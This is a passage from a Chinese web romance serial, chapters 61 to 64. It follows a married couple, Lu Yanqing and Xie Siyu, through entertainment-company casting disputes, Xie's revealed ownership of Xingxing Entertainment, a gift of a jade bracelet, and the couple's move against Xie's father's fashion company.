晨华里是陆言卿多年前自己买的公寓,突然穿越三年时空,醒来就是在公寓的沙发上。 家里哪怕没有人居住,谢思虞还是安排了阿姨定期打扫卫生,冰箱里放着她最喜欢喝的那款酸奶。 就连隔壁办公室的休息间,也有酸奶。 陆言卿心口暖暖的,猛地想起这些小小的细节,一个大胆又荒谬的想法浮现脑海。 “应该不会的。” “肯定是我想多了。” 她和谢思虞婚前并不认识,领证第二天她就“消失”,睁眼就出现在三年后。 她们连相处的机会都没有,她又怎会那么早就喜欢她? 与此同时。 星海娱乐有限公司。 负一楼停车场,C区101停车位停放着黑色宾利车。 正是陆言卿送给谢思虞的“婚后补偿”,前排驾驶座的刘燕已经下车,后排坐着谢思虞和邹筱。 邹筱面色凝肃,倒不是因为第一次坐豪车,而是第一次跟谢思虞坐在同一辆车内。 她把资料递给谢思虞,挑眉看向车窗外:“谢总这般‘大张旗鼓’来见我,不怕被陆总知晓你是星海幕后的老板?” 谢思虞翻开文件夹,快速浏览资料上面的内容,没有回答这个问题,而是反问邹筱:“你和苏蔓分手,还有复合的可能吗?” 邹筱眼中闪过错愕,但很快回复淡然,公司有人跟谢思虞“通风报信”似乎也正常。 讪讪地扯了扯唇角:“概率应该很小?” 说完邹筱就低下了头,嘴角的笑也透着些许自嘲。 当年和苏蔓意外荒唐一夜,事后得知苏蔓和陆言卿的关系,凭借手里的资源,她“补偿”了对方。 本以为她们不会再有交集,谁知道苏蔓主动找上她。 总之后来就是剪不断理还乱。 再后来,陆言卿撞见她和苏蔓在商场暧昧纠缠的画面,提出分手。 她和苏蔓也“名正言顺”开始交往。 三年前星海总裁吴清海赌博输了3个亿,不得不抛售星海的股权,是老板娘出面力挽狂澜,她让她稳住公司严峻的局势,表示一定会给公司交代。 半个月后星海被神秘人收购,公司账面上多了5个亿的流动资金,星海的难关算是过了。 直到她接到一通电话,才知道原来收购星海的人是谢思虞。 那时苏蔓已经是星海旗下的艺人。 谢思虞和陆言卿联姻。 榕城上流社会早都传开了。 她自然也是知晓的。 苏蔓是陆言卿的前女友。 她担心苏蔓在公司的处境,可又拗不过苏蔓的软磨硬泡,越级给了她一些资源。 每次给谢思虞汇报工作她都提心吊胆,结果人家根本不在意。 似乎谢思虞只关心,苏蔓能不能给公司带来利益。 因为谢思虞“睁一只眼闭一只眼”,三年时间,她把苏蔓捧成了圈内的顶流。 可惜她们的感情,随着时间流逝,也早都变了质。 “我要肯定的答案。” 谢思虞没有抬头,依然在翻阅资料,嗓音却透着丝丝泠冽。 毕竟共事三年。 邹筱多多少少了解谢思虞的性子,哑声问:“她做什么惹恼谢总了?” 谢思虞抬眸扫了邹筱一眼,又垂下眼帘,嗓音清冷:“挑拨我和妻子之间的感情。” 60-70 第61章 为什么还要来打扰她和卿卿的生活? 邹筱闻言眉心微蹙, 谢思虞不屑说谎,如果真的介意苏蔓曾经和陆言卿交往过,这些年也不会“放任”她偏袒苏蔓。 眼下动怒。 肯定是苏蔓做了什么。 想到这里, 邹筱轻声叹息,她明里暗里说过好几次,让苏蔓安分守己, 不要去招惹不该惹的人,偏偏苏蔓不听她的劝告。 “您想怎么做?” 谢思虞在文件最后一页签字, 随后连同签字笔一起递给邹筱:“《堕仙簪》的剧本给苏琳,苏蔓代言【星寰】腕表的合同到期,也不用再续了。” 她自认为已经很大度了。 当年苏蔓为了名利离开卿卿, 收购星海后, 她也放任邹筱对苏蔓格外“照顾”。 三年过去。 苏蔓成为娱乐圈顶流,成为家喻户晓的大明星, 也算得偿所愿。 可为什么,苏蔓还要来打扰她和卿卿的生活? 果然是人心不足蛇吞象。 要是苏蔓后悔当初劈腿。 如今和邹筱分手,想要挽回卿卿。 她怎么可能允许这样的事情发生? “我……知道了。” 邹筱攥紧手中的文件夹,指尖隐隐泛白,一颗心也一沉再沉。 谢思虞不容置疑的态度,哪怕她开口求情,也没有转圜的余地。 推开车门, 邹筱面色凝重下车。 就在她要关车门时,耳边又响起谢思虞清冽的嗓音:“这是最后一次。” 邹筱第三次叹息。 目送宾利车消失在车库转角处, 她和苏蔓交往三年, 虽然已经分手, 她还是希望她能好好的。 因为她见证了她一路走来的艰辛。 这些年虽然有她“放水”。 但苏蔓本身也足够努力,才能走到今天的高度。 拍摄武打戏, 就算再危险,苏蔓也极少使用替身。 有时剧组为了赶进度,每晚休息不到3个小时,她也不会矫情喊累。 十分钟后。 邹筱乘坐电梯回到16楼,刚走出电梯,助理孙梦就快步迎上来,一脸焦急:“邹副总,苏蔓和苏琳在会议室吵起来了,您快去看看吧。” 邹筱脚下的步子一顿,把文件夹递给孙梦:“文件给公关部杨总监送过去。” 说完就往会议室方向走。 顶楼会议室面积不大,通常是邹筱接待客人,今天里面却很热闹。 会议室的百叶窗没有关。 苏琳所站的角度第一时间发现邹筱的身影,立刻闭嘴不再争辩。 她是女团出道,能走到今天每一步都小心翼翼。 面对公司比她资历深的“前辈”,她都是能避就避,就算撞见对方说她坏话,她也一笑而过。 不然还能如何? 她家境普通,没有强大的背景。 也没有苏蔓的幸运,能和公司副总交往。 经纪人拿到她手里的剧本,往往都是别人挑剩下的。 但凡有试镜机会,就算在剧中仅有几句台词,她都欣喜不已。 朋友说她太拼命。 娱乐圈有实力有美貌的人比比皆是,也从来不缺乏努力的人。 她只是想要走的更远一点。 “为什么不说话?刚不是还理直气壮吗?” 苏蔓的荧幕形象就是温婉动人,性感知性,但私下却是强势的,她看上的东西,无论如何都要争上一争。 失去《荒月》女二号的角色,她本就不甘心,对苏琳多少是有些怨言的。 原本志在必得的角色,突然被人截胡,换做谁都会生气。 《堕仙簪》是知名网络作家清盏的新作品,这是一篇关于神性与堕落的仙侠小说,网上连载20万字,还未完结。 但清盏已有多部小说改编成电视剧,这次市场部总监可以说是先下手为强,看过《堕仙簪》全文细纲后便跟网站编辑联系,买下了小说的影视版权。 苏蔓得到消息就去网站看了该小说,包括清盏以往的作品,她也全部看完了。 既然公司拿到影视版权。 她自然不会错过,哪里想到苏琳也想出演《堕仙簪》的女主。 明明手里都有《荒月》的剧本了,还要跟她抢,苏蔓恼羞成怒直接在会议室当着好几人的面,跟苏琳争辩起来。 “吵什么?” 邹筱推开会议室的门,清冷的目光扫过众人,最后落在林遥身上,“说说看,都在争什么。” 林遥无奈抿唇,要是只有纪明舒和苏琳也就罢了,偏偏会议室还有其他艺人,这不是让人看笑话吗? 她站起身来到苏蔓身边,言简意赅解释:“苏蔓和苏琳都想要试镜《堕仙簪》的女主。” 她用试镜两个字比较委婉。 其实只要邹筱或者星海总裁发话,苏蔓和苏琳都不用试镜,就能直接出演《堕仙簪》的女主。 因为影视版权在星海手里,公司也有长期合作的导演和制片人。 邹筱深邃复杂的眼眸看向苏蔓,只见她低垂着头,但紧紧握着裙摆的手,还是出卖了她隐忍的情绪。 “大家都不用争。” 邹筱假装没有看到苏蔓微红的眼眶,转身看向苏琳。 此时苏琳也抿紧了唇瓣。 听到邹筱的话后,下意识垂下眼睑,眼中自嘲一闪而过。 她连跟苏蔓争的资格都没有。 然而邹筱接下来的话,却让她愕然地睁大眼睛,满脸不可思议。 嗓音微颤:“您确定没有说错?《堕仙簪》的女主由我担任?” 别说苏琳。 就是苏蔓也是满脸难以置信,快步上前两步,忘记和邹筱已经分手的事实,握住她的手腕质问:“为什么要给她?凭什么我不行?” 纪明舒最不喜欢工作和感情混为一谈,因为人心都是偏的,根本没法理性判断。 最近大家都在传邹副总和苏蔓分手,刚才邹副总说的话,真的足够理智吗? 就没有夹带半分感情在里面? 邹筱用力挣脱苏蔓的束缚,眉头紧蹙,张了张嘴,还是给苏蔓留了几分面子。 再次看向疑惑不解的苏琳,凝肃道:“《堕仙簪》的女主由你出演,这是总裁的原话。” 总裁原话? 星海那位神秘莫测的总裁? 苏蔓死死咬着唇瓣,她怀疑这是邹筱的借口! 她们分手了,邹筱故意让她难堪。 眼角流下眼泪来,苏蔓深呼吸一口气,擦掉脸上的泪水,没再说什么,转身离开。 但有眼睛的人都能看出,她对邹筱的埋怨。 林遥有些心梗。 担心苏蔓出事,也急忙追了出去。 “《堕仙簪》还未完结,拍摄至少还有一年,你先拍手里的剧本。” 邹筱拉开办公椅坐下,推了推鼻梁上方的眼镜框,这话显然是对苏琳说的。 突然落下的馅儿饼砸在苏琳身上,她脑袋还晕呼呼的,原来这就是邹筱之前说的补偿。 公司总裁和Elis应该有着不为人知的关系。 当然,这不是她该关心的问题。 “谢谢邹副总和总裁的信任,我一定会好好努力,不会让你们失望。” 很快苏琳和经纪人纪明舒离开会议室,宋薇今天之所以来公司,是因为录制《情书密语》的事情。 昨晚钟晚意突然跟她表白,打得她措手不及。 整晚都没有睡着。 深思熟虑后她决定放弃录制该综艺。 经纪人听完后数落了她十几分钟,《情书密语》是邹筱让她去录制的,如今不去了,自然也要找邹筱说清楚。 她来到16楼,没见到邹筱,倒是撞见了苏蔓和苏琳争辩不休的一幕。 “邹副总,我……” 宋薇走到邹筱身旁,话还没有说完就被经纪人打断,“没事,没事,邹副总您忙,我和薇薇先离开了。” 「闭嘴!赶紧跟我走,节目组发来消息,钟晚意不去了。」 耳畔响起经纪人咬牙切齿的声音,宋薇怔愣几秒,浑浑噩噩被对方拉离会议室。 电梯缓缓往下,她喃喃自语:“钟晚意不去录制综艺了?确定吗?” 经纪人恨铁不成钢,她不知道宋薇和钟晚意之间发生了什么,只知道宋薇去录制《情书密语》只有好处,没有坏处。 “导演在嘉宾群里说的,还能有假?” 宋薇无意识攥紧包包的链条,因为太用力,骨节隐隐泛白。 明明是她期待的结果,心口却微微滞涩。 电梯抵达负一楼。 宋薇魂不守舍跟着经纪人往保姆车方向走,不远处苏蔓和林遥在争吵,她们压着声音,并不能听清。 却也能猜到一二。 苏蔓想要出演《堕仙簪》却因为“得罪”谢思虞,再次失去想要的角色。 是啊。 她怎么知道苏蔓得罪了谢思虞呢? 因为昨晚她去而复返,钟晚意喝醉酒在走廊上被陆言卿和郑雪搀扶着,那兵荒马乱的一幕,她也看到了。 包括苏蔓捡到陆言卿手机,接听电话的事情。 “看样子苏蔓和邹副总真的分手了,否则也不会接二连三失去……” 宋薇打断经纪人的话,“好了,我们快上车吧。” 昨晚苏蔓的行为,无疑是作茧自缚,挑拨谢思虞和陆言卿的关系,她到底想干嘛呢? 莫非她想插足人家的婚姻? 宋薇被自己荒唐的想法吓到。 弯腰坐进车内,包里手机叮咚响,拿出来一看。 心脏莫名揪疼了一瞬。 【节目我不去了。】 【你安心去录制,昨晚的话不用放在心上。】 【今后好好的,祝你前程似锦,一路繁花。】 微信是钟晚意发来的。 内容不长,宋薇却反复看了几次,喉咙发紧,好半晌才编辑了谢谢两个字。 好不容易点击发送。 页面却出现红色的感叹号。 文字提醒她对方已不是你的好友…… 霎那间,宋薇心脏狠狠抽痛了下。 第62章 宝贝,我好喜欢这样的你。 傍晚7点, 橘黄色阳光温柔宛若轻纱。 华晨里,9栋1021公寓。 三年来谢思虞来过无数次,每次都满怀憧憬, 希望推开门陆言卿就在家里。 可每次迎接她的都是冷冰冰的屋子。 半开式厨房。 刘瑶将购物袋放在中岛台上便离开了公寓,陆言卿依次拿出袋子里的食材,有新鲜的排骨, 活蹦乱跳的基围虾,还有各种瓜果蔬菜。 “阿虞要做大餐吗?” “之前答应给卿卿做糖醋排骨, 今晚兑现我的承诺。” 谢思虞目光分外柔和,来到厨房取下冰箱侧面挂着的围裙,低头系蝴蝶结时, 顶灯照射下, 她后颈的碎发也清晰可见。 弯腰打开天然气灶台下方的储物柜,拿出两个干净的玻璃碗, 甚至还从抽屉里拿出了食盐和小苏打,动作熟练又自然。 旁边陆言卿双手撑着料理台面,眼眸里浸着温柔的笑意,半开玩笑说:“阿虞来过很多次吗?” 竟然知道食盐和小苏打放在哪里,她这个主人都未必知晓。 玻璃碗磕碰不锈钢水池发出清脆的响动,谢思虞打开水龙头,顺便将颗颗饱满的杨梅倒入碗中。 正往里加入少量食盐, 耳畔响起陆言卿揶揄的话,她下意识捏紧了食盐的袋子。 静默几秒, 关掉水龙头。 很轻很轻的回:“确实来过很多次。” 明明是很柔和平静的嗓音。 陆言卿却听出了其中的酸涩和委屈, 突然想起她“失踪”三年, 整整一千多个日夜,谢思虞始终没有放弃寻找她的下落。 一时间, 陆言卿整颗心狠狠揪着,又疼又涩。 来到谢思虞身后,从后面搂抱着她的腰肢,脑袋轻轻搁在她的肩膀上,喉咙发紧:“阿虞对不起……” 谢思虞没等陆言卿说完话就转过身,因为她手上带着水珠,于是脑袋凑过去亲了亲陆言卿的唇瓣,柔声细语道:“这件事已经翻篇了,卿卿不用再说对不起,嗯?” 其实也没觉得多难熬。 感觉自己快要撑不下去的时候,她就会过来华晨里。 在陆言卿坐过的沙发上坐一坐,在陆言卿躺过的床上躺一躺,就好像她一直都在,从未离开。 “好。” 阿虞谢谢你。 这三年你一定过的很辛苦。 陆言卿眼睑低垂,眼眸里是满满的心疼和怜惜,温柔捧起谢思虞的脸颊。 指尖从眉抚到下颔,又去揉捏她的耳垂,最后低头覆上她软绵温热的唇瓣。 谢思虞后背抵着料理台,退无可退,整个人被陆言卿搂抱在怀里,微微仰头承受着她亲吻。 这个吻如春风般温柔缠绵,依然撩拨得她心尖儿颤栗。 心猿意马。 “阿虞的眼睛很漂亮。” 陆言卿感受到怀里的人呼吸微喘,胸脯上下起伏的厉害,这才恋恋不舍松开她的唇,只是用鼻尖爱怜地去贴她的脸颊,“宝贝,我好喜欢这样的你。” 因我而情动的模样。 谢思虞泪眼朦胧,眼尾泛起淡淡的潮红,被她辗转亲吻厮磨过的唇瓣,微微张开,宛如被暴雨碾过的娇嫩花瓣,靡丽又妩媚。 此时的她就好像勾人夺魄的妖精,让人心甘情愿把命都给她。 “我也喜欢卿卿。” 谢思虞潋滟的眸子闪了又闪,心跳紊乱不成样子。 冰冷的手背贴上滚烫的脸颊,这才找回一丝理智,抬眸撞进陆言卿含笑的眸子里,羞赧地眨眨眼,转身继续清洗玻璃碗中的杨梅。 “我来洗蓝莓。” 陆言卿莞尔一笑,没有再闹谢思虞,把盒子里的蓝莓倒入另外一个玻璃碗中,做菜不行,但清洗水果她还是会的。 40分钟后。 这是谢思虞第一次在陆言卿公寓做饭,餐桌上摆放着三菜一汤。 糖醋排骨,白灼基围虾,清炒时蔬和紫菜蛋花汤。 很丰盛。 “阿虞辛苦了,快坐下吃饭吧。” 陆言卿解锁手机屏幕,先是拍了桌上的菜,随后又拍了她和谢思虞的合照。 编辑文字发微信朋友圈。 “尝尝看好吃吗?” 谢思虞给陆言卿夹了一块排骨,她不喜欢吃甜口的菜,平时基本不会做。 糖醋排骨她今晚是第一次做,虽然对自己的厨艺有信心,但此刻难免忐忑。 怕陆言卿会不喜欢。 陆言卿把手机搁在一边,拿起筷子就开始吃。 谢思虞挑选的排骨是整块排骨中间的位置,肥瘦相间,油炸之前加入少量的玉米淀粉,所以吃起来外酥里嫩,肉质一点都不柴。 “味道很棒,酸甜适中。” 陆言卿眼睛亮亮的,给谢思虞也夹了一块排骨,没有夸张的成分,真的很好吃。 谢思虞戴上手套开始剥虾,见陆言卿喜欢,她的嘴角也噙着温和轻浅的笑意:“卿卿喜欢就好。” 连续剥了好几只基围虾,谢思虞还想继续剥,餐桌对面的陆言卿突然站起身,来到她身侧坐下。 “阿虞快别剥了。” 陆言卿看了眼餐碟里的虾仁,夹起来沾了些蘸料,喂到谢思虞嘴边:“啊~” 谢思虞笑笑,张开嘴巴就着陆言卿的动作咬住虾仁,肉质鲜美且软嫩。 这段时间在陆言卿的“监督”下,一日三餐都按时吃,她的胃已经很久很久没有难受了。 低垂的眼眸里流露出浅浅的笑意来,有人陪伴,真好。 她越来越习惯有陆言卿在身边,如果将来有一天,她们分开了,她又该怎么办呢? “阿虞?” 陆言卿拿着纸巾擦嘴,顺便也递给谢思虞一张,见她低垂着头,也不知道是不是她的错觉,感觉妻子周身萦绕着一股淡淡的悲伤? 谢思虞眨眨眼睛,接过纸巾攥进手里,装作不经意询问:“卿卿不好奇我今天去星海娱乐做什么吗?” 陆言卿怔愣两秒。 纸巾扔进旁边的垃圾桶,手肘撑着桌面:“猜到一些。” 食指弯曲,轻轻刮了下谢思虞的鼻尖,放柔了语气问,“阿虞是打算告诉我了吗?” “我是星海幕后的CEO。” 谢思虞今天让刘燕送她去星海,确实也存了些心思,原本就没打算瞒着陆言卿,之前犹豫不定的原因,无非就是因为苏蔓。 她多次容忍。 苏蔓却得寸进尺。 甚至想要“挑拨”她和陆言卿之间的感情,显然已经触碰到她的底线。 陆言卿单手托腮,眼神温润望着谢思虞,没开口等着她的下文。 猜到妻子和星海副总邹筱有合作,倒是没想到她是星海幕后的总裁。 当初钟晚意有心要帮宋薇,找到谢思虞要双栖云境品牌联名活动的“入场券”,显然也不清楚她还有另外一层身份。 “收购星海是意外。” 谢思虞握住陆言卿的手,低头陷入了回忆,三年前她们结婚,陆言卿出国“消失”于茫茫人海,陆爷爷让她担任陆氏集团总裁。 “星海老板娘走投无路找到我,出于某种原因,我答应了。” 为什么老板娘会找她呢? 因为陆言卿曾经有过要收购星海的念头。 谢思虞事后找人调查,知晓了其中的原因,想到苏蔓那人,她微垂的眼眸里闪过一丝落寞。 松开陆言卿的手,双手交握放在了餐桌上,她其实并非大度的人。 苏蔓是陆言卿曾经的女朋友。 为了帮女友铺路,收购一家娱乐公司对陆言卿来说,不是什么困难的事情。 是苏蔓不懂得珍惜。 一步错,步步错,才会错过对她那般温柔体贴的陆言卿。 说句实话,她曾有段时间,很嫉妒很嫉妒苏蔓。 收购星海后,她可以利用总裁身份来打压苏蔓,甚至可以断了她的星途之路。 但最后她没有。 因为她知道陆言卿的为人。 陆言卿是一个很好很温柔的人,即便苏蔓劈腿,背叛了她。 她也不会报复苏蔓。 “阿虞,我和苏蔓已经是过去式。” 陆言卿何其聪明。 谢思虞提到星海,眼中出现落寞的神情,又在下一秒把手抽离她的掌心。 她能猜不到原因吗? 站起身把谢思虞揽入怀中,然而这次不等她开口,怀里的人就紧紧抱着她的腰肢:“我知道,现在我才是卿卿的妻子,就是……有一点点嫉妒。” 似乎怕陆言卿不相信,又咕哝了一句,“只是一点点。” 谢思虞没有在这件事上钻牛角尖,陆言卿心情熨贴,俯身低头温柔的吻落在她发顶。 指尖磨挲谢思虞温软的耳垂,笑着点点头:“阿虞说的对,现在你才是我的妻子,是名正言顺的陆太太。” 过去的事情再翻出来挺没意思的,但苏蔓三番几次凑到她们跟前来,就有点难看。 谢思虞轻轻扯了扯陆言卿的衣袖,试探开口:“苏蔓接听卿卿的电话,我有点生气。” “要是我对她做了什么,卿卿会生气吗?” 陆言卿星眸幽幽,认真地摇摇头:“不会。” 苏蔓如何已经跟她没有关系。 再说大家都是成年人,理应为自己的所作所为买单。 不想再聊那人的事情。 陆言卿牵着谢思虞起身,往书房方向走,公寓只有一间卧室,连客房都没有。 “阿虞之前来公寓,有在这里留宿吗?” “……有过。” “阿虞为什么要害羞?我整个人都是你的,更别说这里的公寓了。” 谢思虞想到自己曾抱着陆言卿的衣服入睡,脸和脖子都红了。 陆言卿假装没有看到妻子羞红的脸颊,推开书房的门:“我有礼物要送给阿虞。” 第63章 她这个妻子给她撑腰 陆言卿的母亲是外交官, 常驻海外,父亲是考古学家,如果单位上有项目, 出差往往就是一两个月,陆老心疼孙女,这才把她接到身边照看。 华晨里这套公寓是陆言卿研究生毕业购置的, 面积不大,仅有160平米。 次卧被她改造成了观影室, 墙面特意做了隔音处理,整面星空顶投影幕布垂落下来时,能淹没城市所有的喧嚣。 书房中间是一套实木桌椅, 两侧靠墙是定做的书架, 上面有各种各样的书籍,其中管理学方面的书最多。 另外书架上还摆放着陆言卿上学时获得的奖杯, 几个相框都是她和朋友们的合照。 谢思虞来过公寓很多次,但书房还是第二次进来。 走到书架前,目光落在一张照片上,指尖悬在玻璃相框上方,迟迟没有落下。 照片上陆言卿穿着蓝色校服,扎着高马尾,站在一棵樱花树下, 素面朝天,也美的肆意张扬。 这是17岁的卿卿。 陆言卿从保险柜里拿出一个红色丝绒方形礼盒, 转身见谢思虞盯着某张相框看。 走近后发现, 那是她高三拍的照片。 恍然想起什么, 陆言卿握着丝绒礼盒的指节微微用力,雪松木香在密闭空间里发酵成某种酸涩的情绪。 她和谢思虞在咖啡店签协议那天, 她看到她手机的锁屏壁纸,上面的女生也是穿着蓝色校服,扎着马尾。 【她结婚了。】 之前她提出终止协议,本意是不想再耽误谢思虞。 偏偏她红着眼睛说:她喜欢的姑娘结婚了。 陆言卿呼吸变得迟缓,一颗心脏好像被反复揉捏,酸涩又闷疼。 好奇那个被阿虞喜欢了很多年的女生,到底是怎样的为人。 “她……好看吗?” 话一出口就后悔了。 陆言卿听见自己的声音沙哑至极,礼盒边缘硌得掌心生疼,原来她也会嫉妒。 谢思虞被陆言卿的声音拉回现实,并没有听清她说了什么,转身迈开脚步来到她跟前,疑惑问:“卿卿说什么?” 陆言卿深呼吸一口气,庆幸谢思虞没有听见,轻轻摇头:“没什么。” 张开双臂把谢思虞揽进怀里,力道很轻很轻,好似拥着什么绝世珍宝。 最后又收紧了力道。 真好,此刻站在阿虞身边的人是她。 “卿卿手里拿着什么?” 谢思虞鼻尖蹭过陆言卿的锁骨,浑然不觉对方绷紧的肩线,更没有察觉到她稍纵即逝的情绪变化。 “18岁成人礼那天,奶奶把手镯郑重交到我手里,让我将来送给妻子。” 陆言卿指尖蜷了蜷,松开怀里的人,牵着谢思虞来到卧室。 梳妆台前,她引着人坐到软凳上,紧接着打开了手里的丝绒礼盒。 冰种翡翠在灯光下泛起幽光,手镯内飘花像被风吹散的蒲公英。 “父亲外出考古时收的料子,说是老坑种,奶奶就让人加工成了两条手镯。” 陆言卿放下礼盒,托着谢思虞的左手,在梳妆台抽屉里找到一支洋甘菊花香的护手霜,然后将护手霜均匀涂抹在她的手上。 “卿卿……这太贵重了。” 手镯的沁凉接触到肌肤带起细密的痒,谢思虞试图抽手。 然动作被陆言卿温热的掌心按住。 陆言卿没给谢思虞拒绝的机会,直接将手镯戴进她纤细的腕间,冰透的质地映得她皮肤越发素白。 “阿虞不想要?” 抽出两张湿纸巾帮谢思虞把手上的护手霜擦掉,她尾音带笑,“奶奶说手镯要送给妻子,难不成阿虞不愿意当我的……” 妻子两个字没有说出口。 谢思虞仰头覆上陆言卿的唇瓣,羞赧道:“没有不愿意,我收下就是。” 陆言卿唇角噙着笑,忽然撑着软凳扶手倾身压下去,温热的呼吸扑在谢思虞眼睫上,樱粉的唇更是停在距她鼻尖半寸处。 垂眸时能看见翡翠在妻子腕间晃动的涟漪,开口嗓音暧昧又温柔:“阿虞收下手镯就不能反悔了哦?” “往后余生都只能是我陆言卿的妻子。” 谢思虞对上陆言卿深情的眼眸,不知道想起什么,一股难以言喻的情愫涌上心头,她鼻尖酸涩,眼眶浸染上薄薄的水汽。 再次仰头含住陆言卿的唇,双手捧着她的脸颊,腕间手镯随着她的动作在空中晃出涟漪。 “不会反悔。” 卿卿也不要后悔才是。 陆言卿滚烫的吐息在谢思虞唇畔徘徊,心口小鹿乱撞,悸动的厉害,她根本经不起她的撩拨。 哪怕只是一个简单的亲吻。 忽然察觉到妻子落泪,又温柔地吻掉她眼角溢出的咸涩:“别哭,手镯早应该送给阿虞的。” 她们一直住在婚房,便没有想起来手镯的事情。 公寓虽然长时间没有居住,但阿姨定期打扫卫生,干净整洁好似样板间。 她和谢思虞尺码差不多,衣帽间的衣服她也能穿,至于梳妆台上的护肤品和化妆品,也都是全新的日期。 “今晚我们在公寓睡?” 谢思虞自然不会拒绝:“嗯。” 陆言卿鼻尖蹭过怀中人蓬松的发顶,突然凑到她耳畔:“浴室有浴缸,我们一起洗好不好?” “我能拒绝吗?” “不可以,今晚我是阿虞的。” “那……不在浴缸里洗。” “我喜欢在浴缸里要阿虞,那样我能看清楚阿虞身上每一寸肌肤……” 话音未落陆言卿自己先笑了,指腹蹭过谢思虞发烫的耳垂,牵着她往浴室方向走,“我能答应阿虞,今晚会尽量轻点。” “……” 谢思虞别过脸不去看陆言卿眼中的揶揄,耳尖红得快要滴血。 想到接下来要发生的事情,心跳如鼓,背脊紧绷。 却又隐隐期待- 手镯太过贵重,谢思虞怕磕碰坏了,还是将其取下来,放进了公寓的保险柜里。 时间晃眼过去半个月。 谢知瑶和CC家的官司输了,这个结果在谢思虞预料之内。 因为设计稿纸上有谢知瑶的签名,她确确实实“借鉴”了CC家秀场款衣袖上的图案。 谢明远赔偿原创设计师600万元,为了挽回公司形象,他不得不开除谢知瑶,且对外宣称永不录用。 总而言之,谢知瑶的设计师梦想,算是彻底破灭了。 除非她隐姓埋名,去国外没有人认识她的地方,继续做一名服装设计师。 可她哪里甘心呢? 陆氏集团。 32层,总裁办公室。 陆言卿刚听了陆言昭修改5次的方案,脑袋嗡嗡的疼。 他还是想要邀请「桦悦」女装入驻商城,被人家拒绝了3次还不死心,市场部给出的方案,半数都是空头支票,根本没有实施的可能性。 揉了揉僵硬的脖子,扫了眼电脑右上角的时间,11:45分,陆言卿准备带妻子下楼吃午饭。 结果办公室的门被敲响。 魏洁推开门:“陆总,Elis谢董拜访。” 这段时间Elis和苏琳解约,谢知瑶官司也输了,光是赔偿款就高达四千万,更别提其他方面的损失。 不夸张的说,阿虞这一步棋,让本就摇摇欲坠的Elis更是雪上加霜。 今天谢明远来集团找她,而不是找阿虞,估计也是知道阿虞不愿意见他。 陆言卿重新坐回办公椅:“让他进来吧。” 谢明远一身正装,仅是半个多月不见,他仿佛苍老了十几岁,两鬓多了些许白发,眼底也带着黑青,整个人憔悴不已。 “谢董看起来不太好,还是要保重身体。” 陆言卿邀请谢明远坐下,魏洁帮他倒了被热茶,这才离开办公室。 谢明远嘴角狠狠一抽,哪里没听出陆言卿在挖苦他,压下愤怒的情绪,放低姿态:“陆总,想必您知道我今天来的目的,还请陆总不要将私人感情带入工作中。” “我和思虞之间是有不可调和的矛盾,但当初陆家和谢家联姻,双方签订了合作,只要联姻还在,您就不能过河拆桥。” 互联网时代,消息来得快,去得也快,Elis毕竟有着十多年的优良口碑,服装质量并不差,定价也不高,并且有固定的顾客群。 眼下是面临舆论,只要等这场风波过去,Elis就能“起死回生”。 当然,前提是双栖云境商场不会撤掉Elis的门店。 否则,这跟砍断双臂没有区别。 陆言卿慵懒地靠着座椅靠背,嘴角噙着漫不经心的笑:“谢董是在教我怎么做事?” 谢明远愣了两秒,急忙摇头:“自然不是,还请陆总看在我们两家是姻亲的份上,不要赶尽杀绝。” 陆言卿微微挑眉,右手边手机锁屏亮起,弹出两条微信消息。 【我过来处理?】 【卿卿不用跟他浪费口舌。】 是谢思虞发来的,她们办公室挨着,谢明远快到饭点过来,她想不知道都难。 陆言卿摁灭屏幕,没有回妻子,而是抬眸看向谢明远,眼神裹藏着冷意:“早知如此,何必当初。” “阿虞也是谢董的亲生女儿,这些年她被您的继妻和另一个女儿欺负,但凡您站出来说句公道话,你们都不会走到这一步。” “再者阿虞为人善良温和,谢董要是将手镯摔坏的事实告知,而不是隐瞒利用,她也不会彻底寒了心。” 陆言卿每说一句话,谢明远脸色就下沉一分,也愈发的无地自容,一张老脸都丢尽了,还是在晚辈面前。 陆言卿扯唇冷笑:“Elis一定会被撤店,谢董请回吧。” 如今才后悔莫及,有什么用? 谢思虞没有家人撑腰。 那便由她这个妻子来。 第64章 谢思虞是星海的总裁。 谢明远放在膝盖上的手攥成了拳头, 仅存的一丝希望破灭,陆言卿摆明态度要站谢思虞那边,不会管Elis的死活。 更不把两家的联姻合作当回事。 突然眼底迸发出狠戾来, 妻子说的没错,谢思虞就是一头养不熟的白眼狼! 这三年他耐着性子讨好她,结果到头来她是半点不念他们父女一场, 非要赶尽杀绝。 把他往绝路上逼! “叮——” 电梯抵达32层,谢明远阴沉着脸走进电梯, 转过身就见谢思虞站在副总办公室门口,那双眼眸里目光冷漠至极。 手镯摔碎的事情暴露,谢思虞也不再藏着掖着, 坦言要报复他, 报复谢家。 有那么一瞬间,他觉得自己从未了解过这个女儿。 谢思虞是真的心狠。 否则也不会对他隐瞒老太太去世的事实。 “他没有为难卿卿吧?” 电梯门合上, 谢思虞才推开办公室的门,看向陆言卿的眼睛里是藏不住的担心。 陆言卿勾唇笑了笑,对谢思虞伸出手,等人来到身边,牵着她的手让她坐在自己腿上:“这里是陆氏,他能如何为难我?” 察觉到谢思虞低落的情绪,温热的手掌从背后环上她的腰际, 陆言卿下巴抵在她肩窝,“Elis撤店通知我转告谢董了, 阿虞尽管去做你想做的事, 不用有顾虑。” 谢思虞回头跌进陆言卿那双盛着星光的眼眸里, 她并没有什么顾虑,只是担心陆爷爷那边不好交代。 “爷爷已经老了, 他不会插手我们晚辈的事情。” 好似看穿了谢思虞的小心思,陆言卿勾着她发尾在指间绕圈,“至于其他人的眼光,阿虞更不用理会。” 谢思虞心里熨贴,双手搂着陆言卿的颈脖,凑上前用鼻尖爱怜地蹭了蹭她的脸颊,眼神温柔似水:“卿卿你真好。” 【谢知瑶最近找私家侦探调查你,既然那位小陆总已经喜欢上你了,当年陆谢两家联姻的事你还打算瞒着?】 依偎在陆言卿怀里,谢思虞想到刚才在办公室朋友的“关心”,低垂的眼眸里闪过一抹复杂。 世界上没有不透风的墙,她也没想瞒着陆言卿一辈子,只是现在真的适合“坦白”吗? 闭了闭眼,谢思虞心里像是堵着一团浸水的棉絮,又沉又涩。 再等等吧。 等Elis的事情处理完,她一定找机会跟陆言卿说清楚。 可她算漏了穷途末路的谢知瑶,结果把事情弄的一团糟。 也真的伤了陆言卿的心- 三天后。 晚上9点,Blue Note清吧。 清吧是私人会所,能来这里玩的人大都身份尊贵。 不管是一楼大厅,还是楼上包厢,私密性也极好。 按理说谢知瑶输了官司,身上也贴上抄袭的标签,她应该夹着尾巴做人,偏偏她还大摇大摆出现在公众场合。 